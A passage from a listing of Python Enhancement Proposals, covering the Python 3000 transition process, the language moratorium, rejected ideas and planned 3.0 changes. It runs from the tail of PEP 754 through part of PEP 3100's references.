fpconst.isNaN(val) 0 Implementation The reference implementation is provided in the module “fpconst” [1], which is written in pure Python by taking advantage of the “struct” standard module to directly set or test for the bit patterns that define IEEE 754 special values. Care has been taken to generate proper results on both big-endian and little-endian machines. The current implementation is pure Python, but some efficiency could be gained by translating the core routines into C. Patch 1151323 “New fpconst module” [2] on SourceForge adds the fpconst module to the Python standard library. References See http://babbage.cs.qc.edu/courses/cs341/IEEE-754references.html for reference material on the IEEE 754 floating point standard. [1] Further information on the reference package is available at http://research.warnes.net/projects/rzope/fpconst/ [2] http://sourceforge.net/tracker/?func=detail&aid=1151323&group_id=5470&atid=305470 Copyright This document has been placed in the public domain.

Rejected

PEP 754 – IEEE 754 Floating Point Special Values

Standards Track

This PEP proposes an API and a provides a reference module that generates and tests for IEEE 754 double-precision special values: positive infinity, negative infinity, and not-a-number (NaN).

PEP 801 – Reserved Author: Barry Warsaw <barry at python.org> Status: Active Type: Informational Created: 21-Jun-2018 Table of Contents Abstract Copyright Abstract This PEP is reserved for future use, because We are the 801. Contact the author for details. Copyright This document has been placed in the public domain.

Active

PEP 801 – Reserved

Informational

This PEP is reserved for future use, because We are the 801. Contact the author for details.

PEP 3000 – Python 3000 Author: Guido van Rossum <guido at python.org> Status: Final Type: Process Created: 05-Apr-2006 Post-History: Table of Contents Abstract Naming PEP Numbering Timeline Compatibility and Transition Implementation Language Meta-Contributions References Copyright Abstract This PEP sets guidelines for Python 3000 development. Ideally, we first agree on the process, and start discussing features only after the process has been decided and specified. In practice, we’ll be discussing features and process simultaneously; often the debate about a particular feature will prompt a process discussion. Naming Python 3000, Python 3.0 and Py3K are all names for the same thing. The project is called Python 3000, or abbreviated to Py3k. The actual Python release will be referred to as Python 3.0, and that’s what “python3.0 -V” will print; the actual file names will use the same naming convention we use for Python 2.x. I don’t want to pick a new name for the executable or change the suffix for Python source files. PEP Numbering Python 3000 PEPs are numbered starting at PEP 3000. PEPs 3000-3099 are meta-PEPs – these can be either process or informational PEPs. PEPs 3100-3999 are feature PEPs. PEP 3000 itself (this PEP) is special; it is the meta-PEP for Python 3000 meta-PEPs (IOW it describe the process to define processes). PEP 3100 is also special; it’s a laundry list of features that were selected for (hopeful) inclusion in Python 3000 before we started the Python 3000 process for real. PEP 3099, finally, is a list of features that will not change. Timeline See PEP 361, which contains the release schedule for Python 2.6 and 3.0. These versions will be released in lockstep. Note: standard library development is expected to ramp up after 3.0a1 is released. I expect that there will be parallel Python 2.x and 3.x releases for some time; the Python 2.x releases will continue for a longer time than the traditional 2.x.y bugfix releases. Typically, we stop releasing bugfix versions for 2.x once version 2.(x+1) has been released. But I expect there to be at least one or two new 2.x releases even after 3.0 (final) has been released, probably well into 3.1 or 3.2. This will to some extent depend on community demand for continued 2.x support, acceptance and stability of 3.0, and volunteer stamina. I expect that Python 3.1 and 3.2 will be released much sooner after 3.0 than has been customary for the 2.x series. The 3.x release pattern will stabilize once the community is happy with 3.x. Compatibility and Transition Python 3.0 will break backwards compatibility with Python 2.x. There is no requirement that Python 2.6 code will run unmodified on Python 3.0. Not even a subset. (Of course there will be a tiny subset, but it will be missing major functionality.) Python 2.6 will support forward compatibility in the following two ways: It will support a “Py3k warnings mode” which will warn dynamically (i.e. at runtime) about features that will stop working in Python 3.0, e.g. assuming that range() returns a list. It will contain backported versions of many Py3k features, either enabled through __future__ statements or simply by allowing old and new syntax to be used side-by-side (if the new syntax would be a syntax error in 2.x). Instead, and complementary to the forward compatibility features in 2.6, there will be a separate source code conversion tool [1]. This tool can do a context-free source-to-source translation. For example, it can translate apply(f, args) into f(*args). However, the tool cannot do data flow analysis or type inferencing, so it simply assumes that apply in this example refers to the old built-in function. The recommended development model for a project that needs to support Python 2.6 and 3.0 simultaneously is as follows: You should have excellent unit tests with close to full coverage. Port your project to Python 2.6. Turn on the Py3k warnings mode. Test and edit until no warnings remain. Use the 2to3 tool to convert this source code to 3.0 syntax. Do not manually edit the output! Test the converted source code under 3.0. If problems are found, make corrections to the 2.6 version of the source code and go back to step 3. When it’s time to release, release separate 2.6 and 3.0 tarballs (or whatever archive form you use for releases). It is recommended not to edit the 3.0 source code until you are ready to reduce 2.6 support to pure maintenance (i.e. the moment when you would normally move the 2.6 code to a maintenance branch anyway). PS. We need a meta-PEP to describe the transitional issues in detail. Implementation Language Python 3000 will be implemented in C, and the implementation will be derived as an evolution of the Python 2 code base. This reflects my views (which I share with Joel Spolsky [2]) on the dangers of complete rewrites. Since Python 3000 as a language is a relatively mild improvement on Python 2, we can gain a lot by not attempting to reimplement the language from scratch. I am not against parallel from-scratch implementation efforts, but my own efforts will be directed at the language and implementation that I know best. Meta-Contributions Suggestions for additional text for this PEP are gracefully accepted by the author. Draft meta-PEPs for the topics above and additional topics are even more welcome! References [1] The 2to3 tool, in the subversion sandbox http://svn.python.org/view/sandbox/trunk/2to3/ [2] Joel on Software: Things You Should Never Do, Part I http://www.joelonsoftware.com/articles/fog0000000069.html Copyright This document has been placed in the public domain.

Final

PEP 3000 – Python 3000

Process

This PEP sets guidelines for Python 3000 development. Ideally, we first agree on the process, and start discussing features only after the process has been decided and specified. In practice, we’ll be discussing features and process simultaneously; often the debate about a particular feature will prompt a process discussion.

PEP 3001 – Procedure for reviewing and improving standard library modules Author: Georg Brandl <georg at python.org> Status: Withdrawn Type: Process Created: 05-Apr-2006 Post-History: Table of Contents Abstract Removal of obsolete modules Renaming modules Code cleanup Enhancement of test and documentation coverage Unification of module metadata Backwards incompatible bug fixes Interface changes References Copyright Abstract This PEP describes a procedure for reviewing and improving standard library modules, especially those written in Python, making them ready for Python 3000. There can be different steps of refurbishing, each of which is described in a section below. Of course, not every step has to be performed for every module. Removal of obsolete modules All modules marked as deprecated in 2.x versions should be removed for Python 3000. The same applies to modules which are seen as obsolete today, but are too widely used to be deprecated or removed. Python 3000 is the big occasion to get rid of them. There will have to be a document listing all removed modules, together with information on possible substitutes or alternatives. This information will also have to be provided by the python3warn.py porting helper script mentioned in PEP XXX. Renaming modules There are proposals for a “great stdlib renaming” introducing a hierarchic library namespace or a top-level package from which to import standard modules. That possibility aside, some modules’ names are known to have been chosen unwisely, a mistake which could never be corrected in the 2.x series. Examples are names like “StringIO” or “Cookie”. For Python 3000, there will be the possibility to give those modules less confusing and more conforming names. Of course, each rename will have to be stated in the documentation of the respective module and perhaps in the global document of Step 1. Additionally, the python3warn.py script will recognize the old module names and notify the user accordingly. If the name change is made in time for another release of the Python 2.x series, it is worth considering to introduce the new name in the 2.x branch to ease transition. Code cleanup As most library modules written in Python have not been touched except for bug fixes, following the policy of never changing a running system, many of them may contain code that is not up to the newest language features and could be rewritten in a more concise, modern Python. PyChecker should run cleanly over the library. With a carefully tuned configuration file, PyLint should also emit as few warnings as possible. As long as these changes don’t change the module’s interface and behavior, no documentation updates are necessary. Enhancement of test and documentation coverage Code coverage by unit tests varies greatly between modules. Each test suite should be checked for completeness, and the remaining classic tests should be converted to PyUnit (or whatever new shiny testing framework comes with Python 3000, perhaps py.test?). It should also be verified that each publicly visible function has a meaningful docstring which ideally contains several doctests. No documentation changes are necessary for enhancing test coverage. Unification of module metadata This is a small and probably not very important step. There have been various attempts at providing author, version and similar metadata in modules (such as a “__version__” global). Those could be standardized and used throughout the library. No documentation changes are necessary for this step, too. Backwards incompatible bug fixes Over the years, many bug reports have been filed which complained about bugs in standard library modules, but have subsequently been closed as “Won’t fix” since a fix would have introduced a major incompatibility which was not acceptable in the Python 2.x series. In Python 3000, the fix can be applied if the interface per se is still acceptable. Each slight behavioral change caused by such fixes must be mentioned in the documentation, perhaps in a “Changed in Version 3.0” paragraph. Interface changes The last and most disruptive change is the overhaul of a module’s public interface. If a module’s interface is to be changed, a justification should be made beforehand, or a PEP should be written. The change must be fully documented as “New in Version 3.0”, and the python3warn.py script must know about it. References None yet. Copyright This document has been placed in the public domain.

Withdrawn

PEP 3001 – Procedure for reviewing and improving standard library modules

Process

This PEP describes a procedure for reviewing and improving standard library modules, especially those written in Python, making them ready for Python 3000. There can be different steps of refurbishing, each of which is described in a section below. Of course, not every step has to be performed for every module.

PEP 3002 – Procedure for Backwards-Incompatible Changes Author: Steven Bethard <steven.bethard at gmail.com> Status: Final Type: Process Created: 27-Mar-2006 Post-History: 27-Mar-2006, 13-Apr-2006 Table of Contents Abstract Rationale Python Enhancement Proposals Identifying Problematic Code References Copyright Abstract This PEP describes the procedure for changes to Python that are backwards-incompatible between the Python 2.X series and Python 3000. All such changes must be documented by an appropriate Python 3000 PEP and must be accompanied by code that can identify when pieces of Python 2.X code may be problematic in Python 3000. Rationale Python 3000 will introduce a number of backwards-incompatible changes to Python, mainly to streamline the language and to remove some previous design mistakes. But Python 3000 is not intended to be a new and completely different language from the Python 2.X series, and it is expected that much of the Python user community will make the transition to Python 3000 when it becomes available. To encourage this transition, it is crucial to provide a clear and complete guide on how to upgrade Python 2.X code to Python 3000 code. Thus, for any backwards-incompatible change, two things are required: An official Python Enhancement Proposal (PEP) Code that can identify pieces of Python 2.X code that may be problematic in Python 3000 Python Enhancement Proposals Every backwards-incompatible change must be accompanied by a PEP. This PEP should follow the usual PEP guidelines and explain the purpose and reasoning behind the backwards incompatible change. In addition to the usual PEP sections, all PEPs proposing backwards-incompatible changes must include an additional section: Compatibility Issues. This section should describe what is backwards incompatible about the proposed change to Python, and the major sorts of breakage to be expected. While PEPs must still be evaluated on a case-by-case basis, a PEP may be inappropriate for Python 3000 if its Compatibility Issues section implies any of the following: Most or all instances of a Python 2.X construct are incorrect in Python 3000, and most or all instances of the Python 3000 construct are incorrect in Python 2.X.So for example, changing the meaning of the for-loop else-clause from “executed when the loop was not broken out of” to “executed when the loop had zero iterations” would mean that all Python 2.X for-loop else-clauses would be broken, and there would be no way to use a for-loop else-clause in a Python-3000-appropriate manner. Thus a PEP for such an idea would likely be rejected. Many instances of a Python 2.X construct are incorrect in Python 3000 and the PEP fails to demonstrate real-world use-cases for the changes.Backwards incompatible changes are allowed in Python 3000, but not to excess. A PEP that proposes backwards-incompatible changes should provide good examples of code that visibly benefits from the changes. PEP-writing is time-consuming, so when a number of backwards-incompatible changes are closely related, they should be proposed in the same PEP. Such PEPs will likely have longer Compatibility Issues sections, however, since they must now describe the sorts of breakage expected from all the proposed changes. Identifying Problematic Code In addition to the PEP requirement, backwards incompatible changes to Python must also be accompanied by code to issue warnings for pieces of Python 2.X code that will behave differently in Python 3000. Such warnings will be enabled in Python 2.X using a new command-line switch: -3. All backwards incompatible changes should be accompanied by a patch for Python 2.X that, when -3 is specified, issues warnings for each construct that is being changed. For example, if dict.keys() returns an iterator in Python 3000, the patch to the Python 2.X branch should do something like: If -3 was specified, change dict.keys() to return a subclass of list that issues warnings whenever you use any methods other than __iter__(). Such a patch would mean that warnings are only issued when features that will not be present in Python 3000 are used, and almost all existing code should continue to work. (Code that relies on dict.keys() always returning a list and not a subclass should be pretty much non-existent.) References TBD Copyright This document has been placed in the public domain.

Final

PEP 3002 – Procedure for Backwards-Incompatible Changes

Process

This PEP describes the procedure for changes to Python that are backwards-incompatible between the Python 2.X series and Python 3000. All such changes must be documented by an appropriate Python 3000 PEP and must be accompanied by code that can identify when pieces of Python 2.X code may be problematic in Python 3000.

PEP 3003 – Python Language Moratorium Author: Brett Cannon, Jesse Noller, Guido van Rossum Status: Final Type: Process Created: 21-Oct-2009 Post-History: 03-Nov-2009 Table of Contents Abstract Rationale Details Cannot Change Case-by-Case Exemptions Allowed to Change Retroactive Extensions Copyright References Abstract This PEP proposes a temporary moratorium (suspension) of all changes to the Python language syntax, semantics, and built-ins for a period of at least two years from the release of Python 3.1. In particular, the moratorium would include Python 3.2 (to be released 18-24 months after 3.1) but allow Python 3.3 (assuming it is not released prematurely) to once again include language changes. This suspension of features is designed to allow non-CPython implementations to “catch up” to the core implementation of the language, help ease adoption of Python 3.x, and provide a more stable base for the community. Rationale This idea was proposed by Guido van Rossum on the python-ideas [1] mailing list. The premise of his email was to slow the alteration of the Python core syntax, builtins and semantics to allow non-CPython implementations to catch up to the current state of Python, both 2.x and 3.x. Python, as a language is more than the core implementation – CPython – with a rich, mature and vibrant community of implementations, such as Jython [2], IronPython [3] and PyPy [4] that are a benefit not only to the community, but to the language itself. Still others, such as Unladen Swallow [5] (a branch of CPython) seek not to create an alternative implementation, but rather they seek to enhance the performance and implementation of CPython itself. Python 3.x was a large part of the last several years of Python’s development. Its release, as well as a bevy of changes to the language introduced by it and the previous 2.6.x releases, puts alternative implementations at a severe disadvantage in “keeping pace” with core python development. Additionally, many of the changes put into the recent releases of the language as implemented by CPython have not yet seen widespread usage by the general user population. For example, most users are limited to the version of the interpreter (typically CPython) which comes pre-installed with their operating system. Most OS vendors are just barely beginning to ship Python 2.6 – even fewer are shipping Python 3.x. As it is expected that Python 2.7 be the effective “end of life” of the Python 2.x code line, with Python 3.x being the future, it is in the best interest of Python core development to temporarily suspend the alteration of the language itself to allow all of these external entities to catch up and to assist in the adoption of, and migration to, Python 3.x Finally, the moratorium is intended to free up cycles within core development to focus on other issues, such as the CPython interpreter and improvements therein, the standard library, etc. This moratorium does not allow for exceptions – once accepted, any pending changes to the syntax or semantics of the language will be postponed until the moratorium is lifted. This moratorium does not attempt to apply to any other Python implementation meaning that if desired other implementations may add features which deviate from the standard implementation. Details Cannot Change New built-ins Language syntaxThe grammar file essentially becomes immutable apart from ambiguity fixes. General language semanticsThe language operates as-is with only specific exemptions (see below). New __future__ importsThese are explicitly forbidden, as they effectively change the language syntax and/or semantics (albeit using a compiler directive). Case-by-Case Exemptions New methods on built-insThe case for adding a method to a built-in object can be made. Incorrect language semanticsIf the language semantics turn out to be ambiguous or improperly implemented based on the intention of the original design then the semantics may change. Language semantics that are difficult to implementBecause other VMs have not begun implementing Python 3.x semantics there is a possibility that certain semantics are too difficult to replicate. In those cases they can be changed to ease adoption of Python 3.x by the other VMs. Allowed to Change C APIIt is entirely acceptable to change the underlying C code of CPython as long as other restrictions of this moratorium are not broken. E.g. removing the GIL would be fine assuming certain operations that are currently atomic remain atomic. The standard libraryAs the standard library is not directly tied to the language definition it is not covered by this moratorium. Backports of 3.x features to 2.xThe moratorium only affects features that would be new in 3.x. Import semanticsFor example, PEP 382. After all, import semantics vary between Python implementations anyway. Retroactive It is important to note that the moratorium covers all changes since the release of Python 3.1. This rule is intended to avoid features being rushed or smuggled into the CPython source tree while the moratorium is being discussed. A review of the NEWS file for the py3k development branch showed no commits would need to be rolled back in order to meet this goal. Extensions The time period of the moratorium can only be extended through a new PEP. Copyright This document has been placed in the public domain. References [1] https://mail.python.org/pipermail/python-ideas/2009-October/006305.html [2] http://www.jython.org/ [3] http://www.codeplex.com/IronPython [4] http://codespeak.net/pypy/ [5] http://code.google.com/p/unladen-swallow/

Final

PEP 3003 – Python Language Moratorium

Process

This PEP proposes a temporary moratorium (suspension) of all changes to the Python language syntax, semantics, and built-ins for a period of at least two years from the release of Python 3.1. In particular, the moratorium would include Python 3.2 (to be released 18-24 months after 3.1) but allow Python 3.3 (assuming it is not released prematurely) to once again include language changes.

PEP 3099 – Things that will Not Change in Python 3000 Author: Georg Brandl <georg at python.org> Status: Final Type: Process Created: 04-Apr-2006 Post-History: Table of Contents Abstract Core language Builtins Standard types Coding style Interactive Interpreter Copyright Abstract Some ideas are just bad. While some thoughts on Python evolution are constructive, some go against the basic tenets of Python so egregiously that it would be like asking someone to run in a circle: it gets you nowhere, even for Python 3000, where extraordinary proposals are allowed. This PEP tries to list all BDFL pronouncements on Python 3000 that refer to changes that will not happen and new features that will not be introduced, sorted by topics, along with a short explanation or a reference to the relevant thread on the python-3000 mailing list. If you think you should suggest any of the listed ideas it would be better to just step away from the computer, go outside, and enjoy yourself. Being active outdoors by napping in a nice patch of grass is more productive than bringing up a beating-a-dead-horse idea and having people tell you how dead the idea is. Consider yourself warned. Core language Python 3000 will not be case-insensitive. Python 3000 will not be a rewrite from scratch. It will also not use C++ or another language different from C as implementation language. Rather, there will be a gradual transmogrification of the codebase. There’s an excellent essay by Joel Spolsky explaining why: http://www.joelonsoftware.com/articles/fog0000000069.html self will not become implicit. Having self be explicit is a good thing. It makes the code clear by removing ambiguity about how a variable resolves. It also makes the difference between functions and methods small.Thread: “Draft proposal: Implicit self in Python 3.0” https://mail.python.org/pipermail/python-dev/2006-January/059468.html lambda will not be renamed. At one point lambda was slated for removal in Python 3000. Unfortunately no one was able to come up with a better way of providing anonymous functions. And so lambda is here to stay.But it is here to stay as-is. Adding support for statements is a non-starter. It would require allowing multi-line lambda expressions which would mean a multi-line expression could suddenly exist. That would allow for multi-line arguments to function calls, for instance. That is just plain ugly. Thread: “genexp syntax / lambda”, https://mail.python.org/pipermail/python-3000/2006-April/001042.html Python will not have programmable syntax. Thread: “It’s a statement! It’s a function! It’s BOTH!”, https://mail.python.org/pipermail/python-3000/2006-April/000286.html There won’t be a syntax for zip()-style parallel iteration. Thread: “Parallel iteration syntax”, https://mail.python.org/pipermail/python-3000/2006-March/000210.html Strings will stay iterable. Thread: “Making strings non-iterable”, https://mail.python.org/pipermail/python-3000/2006-April/000759.html There will be no syntax to sort the result of a generator expression or list comprehension. sorted() covers all use cases. Thread: “Adding sorting to generator comprehension”, https://mail.python.org/pipermail/python-3000/2006-April/001295.html Slices and extended slices won’t go away (even if the __getslice__ and __setslice__ APIs may be replaced) nor will they return views for the standard object types. Thread: Future of slices https://mail.python.org/pipermail/python-3000/2006-May/001563.html It will not be forbidden to reuse a loop variable inside the loop’s suite. Thread: elimination of scope bleeding of iteration variables https://mail.python.org/pipermail/python-dev/2006-May/064761.html The parser won’t be more complex than LL(1). Simple is better than complex. This idea extends to the parser. Restricting Python’s grammar to an LL(1) parser is a blessing, not a curse. It puts us in handcuffs that prevent us from going overboard and ending up with funky grammar rules like some other dynamic languages that will go unnamed, such as Perl. No braces. This is so obvious that it doesn’t need a reference to a mailing list. Do from __future__ import braces to get a definitive answer on this subject. No more backticks. Backticks (`) will no longer be used as shorthand for repr – but that doesn’t mean they are available for other uses. Even ignoring the backwards compatibility confusion, the character itself causes too many problems (in some fonts, on some keyboards, when typesetting a book, etc).Thread: “new operators via backquoting”, https://mail.python.org/pipermail/python-ideas/2007-January/000054.html Referencing the global name foo will not be spelled globals.foo. The global statement will stay. Threads: “replace globals() and global statement with global builtin object”, https://mail.python.org/pipermail/python-3000/2006-July/002485.html, “Explicit Lexical Scoping (pre-PEP?)”, https://mail.python.org/pipermail/python-dev/2006-July/067111.html There will be no alternative binding operators such as :=. Thread: “Explicit Lexical Scoping (pre-PEP?)”, https://mail.python.org/pipermail/python-dev/2006-July/066995.html We won’t be removing container literals. That is, {expr: expr, …}, [expr, …] and (expr, …) will stay. Thread: “No Container Literals”, https://mail.python.org/pipermail/python-3000/2006-July/002550.html The else clause in while and for loops will not change semantics, or be removed. Thread: “for/except/else syntax” https://mail.python.org/pipermail/python-ideas/2009-October/006083.html Builtins zip() won’t grow keyword arguments or other mechanisms to prevent it from stopping at the end of the shortest sequence. Thread: “have zip() raise exception for sequences of different lengths”, https://mail.python.org/pipermail/python-3000/2006-August/003338.html hash() won’t become an attribute since attributes should be cheap to compute, which isn’t necessarily the case for a hash. Thread: “hash as attribute/property”, https://mail.python.org/pipermail/python-3000/2006-April/000362.html Standard types Iterating over a dictionary will continue to yield the keys. Thread: “Iterating over a dict”, https://mail.python.org/pipermail/python-3000/2006-April/000283.htmlThread: have iter(mapping) generate (key, value) pairs https://mail.python.org/pipermail/python-3000/2006-June/002368.html There will be no frozenlist type. Thread: “Immutable lists”, https://mail.python.org/pipermail/python-3000/2006-May/002219.html int will not support subscripts yielding a range. Thread: “xrange vs. int.__getslice__”, https://mail.python.org/pipermail/python-3000/2006-June/002450.html Coding style The (recommended) maximum line width will remain 80 characters, for both C and Python code. Thread: “C style guide”, https://mail.python.org/pipermail/python-3000/2006-March/000131.html Interactive Interpreter The interpreter prompt (>>>) will not change. It gives Guido warm fuzzy feelings. Thread: “Low-hanging fruit: change interpreter prompt?”, https://mail.python.org/pipermail/python-3000/2006-November/004891.html Copyright This document has been placed in the public domain.

Final

PEP 3099 – Things that will Not Change in Python 3000

Process

Some ideas are just bad. While some thoughts on Python evolution are constructive, some go against the basic tenets of Python so egregiously that it would be like asking someone to run in a circle: it gets you nowhere, even for Python 3000, where extraordinary proposals are allowed. This PEP tries to list all BDFL pronouncements on Python 3000 that refer to changes that will not happen and new features that will not be introduced, sorted by topics, along with a short explanation or a reference to the relevant thread on the python-3000 mailing list.

PEP 3100 – Miscellaneous Python 3.0 Plans Author: Brett Cannon <brett at python.org> Status: Final Type: Process Created: 20-Aug-2004 Post-History: Table of Contents Abstract General goals Influencing PEPs Style changes Core language Atomic Types Built-in Namespace Standard library Outstanding Issues References Copyright Abstract This PEP, previously known as PEP 3000, describes smaller scale changes and new features for which no separate PEP is written yet, all targeted for Python 3000. The list of features included in this document is subject to change and isn’t binding on the Python development community; features may be added, removed, and modified at any time. The purpose of this list is to focus our language development effort on changes that are steps to 3.0, and to encourage people to invent ways to smooth the transition. This document is not a wish-list that anyone can extend. While there are two authors of this PEP, we’re just supplying the text; the decisions for which changes are listed in this document are made by Guido van Rossum, who has chosen them as goals for Python 3.0. Guido’s pronouncements on things that will not change in Python 3.0 are recorded in PEP 3099. General goals A general goal is to reduce feature duplication by removing old ways of doing things. A general principle of the design will be that one obvious way of doing something is enough. [1] Influencing PEPs PEP 238 (Changing the Division Operator) PEP 328 (Imports: Multi-Line and Absolute/Relative) PEP 343 (The “with” Statement) PEP 352 (Required Superclass for Exceptions) Style changes The C style guide will be updated to use 4-space indents, never tabs. This style should be used for all new files; existing files can be updated only if there is no hope to ever merge a particular file from the Python 2 HEAD. Within a file, the indentation style should be consistent. No other style guide changes are planned ATM. Core language True division becomes default behavior PEP 238 [done] exec as a statement is not worth it – make it a function [done] Add optional declarations for static typing PEP 3107 [10] [done] Support only new-style classes; classic classes will be gone [1] [done] Replace print by a function [14] PEP 3105 [done] The softspace attribute of files goes away. [done] Use except E1, E2, E3 as err: if you want the error variable. [3] [done] None becomes a keyword [4]; also True and False [done] ... to become a general expression element [16] [done] as becomes a keyword [5] (starting in 2.6 already) [done] Have list comprehensions be syntactic sugar for passing an equivalent generator expression to list(); as a consequence the loop variable will no longer be exposed PEP 289 [done] Comparisons other than == and != between disparate types will raise an exception unless explicitly supported by the type [6] [done] floats will not be acceptable as arguments in place of ints for operations where floats are inadvertently accepted (PyArg_ParseTuple() i & l formats) Remove from … import * at function scope. [done] This means that functions can always be optimized and support for unoptimized functions can go away. Imports PEP 328 Imports will be absolute by default. [done] Relative imports must be explicitly specified. [done] Indirection entries in sys.modules (i.e., a value of None for A.string means to use the top-level string module) will not be supported. __init__.py might become optional in sub-packages? __init__.py will still be required for top-level packages. Cleanup the Py_InitModule() variants {,3,4} (also import and parser APIs) Cleanup the APIs exported in pythonrun, etc. Some expressions will require parentheses that didn’t in 2.x: List comprehensions will require parentheses around the iterables. This will make list comprehensions more similar to generator comprehensions. [x for x in 1, 2] will need to be: [x for x in (1, 2)] [done] Lambdas may have to be parenthesized PEP 308 [NO] In order to get rid of the confusion between __builtin__ and __builtins__, it was decided to rename __builtin__ (the module) to builtins, and to leave __builtins__ (the sandbox hook) alone. [33] [34] [done] Attributes on functions of the form func_whatever will be renamed __whatever__ [17] [done] Set literals and comprehensions [19] [20] [done] {x} means set([x]); {x, y} means set([x, y]). {F(x) for x in S if P(x)} means set(F(x) for x in S if P(x)). NB. {range(x)} means set([range(x)]), NOT set(range(x)). There’s no literal for an empty set; use set() (or {1}&{2} :-). There’s no frozenset literal; they are too rarely needed. The __nonzero__ special method will be renamed to __bool__ and have to return a bool. The typeobject slot will be called tp_bool [23] [done] Dict comprehensions, as first proposed in PEP 274 [done] {K(x): V(x) for x in S if P(x)} means dict((K(x), V(x)) for x in S if P(x)). To be removed: String exceptions: use instances of an Exception class [2] [done] raise Exception, "message": use raise Exception("message") [12] [done] x: use repr(x) [2] [done] The <> operator: use != instead [3] [done] The __mod__ and __divmod__ special methods on float. [they should stay] [21] Drop unbound methods [7] [26] [done] METH_OLDARGS [done] WITH_CYCLE_GC [done] __getslice__, __setslice__, __delslice__ [32]; remove slice opcodes and use slice objects. [done] __oct__, __hex__: use __index__ in oct() and hex() instead. [done] __methods__ and __members__ [done] C APIs (see code): PyFloat_AsString, PyFloat_AsReprString, PyFloat_AsStringEx, PySequence_In, PyEval_EvalFrame, PyEval_CallObject, _PyObject_Del, _PyObject_GC_Del, _PyObject_GC_Track, _PyObject_GC_UnTrack PyString_AsEncodedString, PyString_AsDecodedString PyArg_NoArgs, PyArg_GetInt, intargfunc, intintargfuncPyImport_ReloadModule ? Atomic Types Remove distinction between int and long types; ‘long’ built-in type and literals with ‘L’ or ‘l’ suffix disappear [1] [done] Make all strings be Unicode, and have a separate bytes() type [1] The new string type will be called ‘str’. See PEP 3137. [done] Return iterable views instead of lists where appropriate for atomic type methods (e.g. dict.keys(), dict.values(), dict.items(), etc.); iter* methods will be removed. [done] Make string.join() stringify its arguments? [18] [NO] Fix open() so it returns a ValueError if the mode is bad rather than IOError. [done] To be removed: basestring.find() and basestring.rfind(); use basestring.index() or basestring.[r]partition() or basestring.rindex() in a try/except block??? [13] [UNLIKELY] file.xreadlines() method [31] [done] dict.setdefault()? [15] [UNLIKELY] dict.has_key() method; use in operator [done] list.sort() and builtin.sorted() methods: eliminate cmp parameter [27] [done] Built-in Namespace Make built-ins return an iterator where appropriate (e.g. range(), zip(), map(), filter(), etc.) [done] Remove input() and rename raw_input() to input(). If you need the old input(), use eval(input()). [done] Introduce trunc(), which would call the __trunc__() method on its argument; suggested use is for objects like float where calling __int__() has data loss, but an integral representation is still desired? [8] [done] Exception hierarchy changes PEP 352 [done] Add a bin() function for a binary representation of integers [done] To be removed: apply(): use f(*args, **kw) instead [2] [done] buffer(): must die (use a bytes() type instead) (?) [2] [done] callable(): just use isinstance(x, collections.Callable) (?) [2] [done] compile(): put in sys (or perhaps in a module of its own) [2] coerce(): no longer needed [2] [done] execfile(), reload(): use exec() [2] [done] intern(): put in sys [2], [22] [done] reduce(): put in functools, a loop is more readable most of the times [2], [9] [done] xrange(): use range() instead [1] [See range() above] [done] StandardError: this is a relic from the original exception hierarchy;subclass Exception instead. [done] Standard library Reorganize the standard library to not be as shallow? Move test code to where it belongs, there will be no more test() functions in the standard library Convert all tests to use either doctest or unittest. For the procedures of standard library improvement, see PEP 3001 To be removed: The sets module. [done] stdlib modules to be removed see docstrings and comments in the source macfs [to do] new, reconvert, stringold, xmllib, pcre, pypcre, strop [all done] see PEP 4 buildtools, mimetools, multifile, rfc822, [to do] mpz, posixfile, regsub, rgbimage, sha, statcache, sv, TERMIOS, timing [done] cfmfile, gopherlib, md5, MimeWriter, mimify [done] cl, sets, xreadlines, rotor, whrandom [done] Everything in lib-old PEP 4 [done] Para, addpack, cmp, cmpcache, codehack, dircmp, dump, find, fmt, grep, lockfile, newdir, ni, packmail, poly, rand, statcache, tb, tzparse, util, whatsound, whrandom, zmod sys.exitfunc: use atexit module instead [28], [35] [done] sys.exc_type, sys.exc_values, sys.exc_traceback: not thread-safe; use sys.exc_info() or an attribute of the exception [2] [11] [28] [done] sys.exc_clear: Python 3’s except statements provide the same functionality [24] PEP 3110 [28] [done] array.read, array.write [30] operator.isCallable : callable() built-in is being removed [29] [36] [done] operator.sequenceIncludes : redundant thanks to operator.contains [29] [36] [done] In the thread module, the acquire_lock() and release_lock() aliases for the acquire() and release() methods on lock objects. (Probably also just remove the thread module as a public API, in favor of always using threading.py.) UserXyz classes, in favour of XyzMixins. Remove the unreliable empty() and full() methods from Queue.py? [25] Remove jumpahead() from the random API? [25] Make the primitive for random be something generating random bytes rather than random floats? [25] Get rid of Cookie.SerialCookie and Cookie.SmartCookie? [25] Modify the heapq.heapreplace() API to compare the new value to the top of the heap? [25] Outstanding Issues Require C99, so we can use // comments, named initializers, declare variables without introducing a new scope, among other benefits. (Also better support for IEEE floating point issues like NaN and infinities?) Remove support for old systems, including: BeOS, RISCOS, (SGI) Irix, Tru64 References [1] (1, 2, 3, 4, 5) PyCon 2003 State of the Union: https://legacy.python.org/doc/essays/ppt/pycon2003/pycon2003.ppt [2] (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11) Python Regrets: https://legacy.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf [3] (1, 2) Python Wiki: https://wiki.python.org/moin/Python3.0 [4] python-dev email (“Constancy of None”) https://mail.python.org/pipermail/python-dev/2004-July/046294.html [5] python-dev email (’ “as” to be a keyword?’) https://mail.python.org/pipermail/python-dev/2004-July/046316.html [6] python-dev email (“Comparing heterogeneous types”) https://mail.python.org/pipermail/python-dev/2004-June/045111.html [7] python-dev email (“Let’s get rid of unbound methods”) https://mail.python.org/pipermail/python-dev/2005-January/050625.html [8] python-dev email (“Fixing _PyEval_SliceIndex so that integer-like objects can be used”) https://mail.python.org/pipermail/python-dev/2005-February/051674.html [9] Guido’s blog (“The fate of reduce() in Python 3000”) https://www.artima.com/weblogs/viewpost.jsp?thread=98196 [10] Guido’s blog (“Python Optional Typechecking Redux”) https://www.artima.com/weblogs/viewpost.jsp?thread=89161 [11] python-dev email (“anonymous blocks”) https://mail.python.org/pipermail/python-dev/2005-April/053060.html [12] python-dev email (“PEP 8: exception style”) https://mail.python.org/pipermail/python-dev/2005-August/055190.html [13] python-dev email (Remove str.find in 3.0?) https://mail.python.org/pipermail/python-dev/2005-August/055705.html [14] python-dev email (Replacement for print in Python 3.0) https://mail.python.org/pipermail/python-dev/2005-September/056154.html [15] python-dev email (“defaultdict”) https://mail.python.org/pipermail/python-dev/2006-February/061261.html [16] python-3000 email https://mail.python.org/pipermail/python-3000/2006-April/000996.html [17] python-3000 email 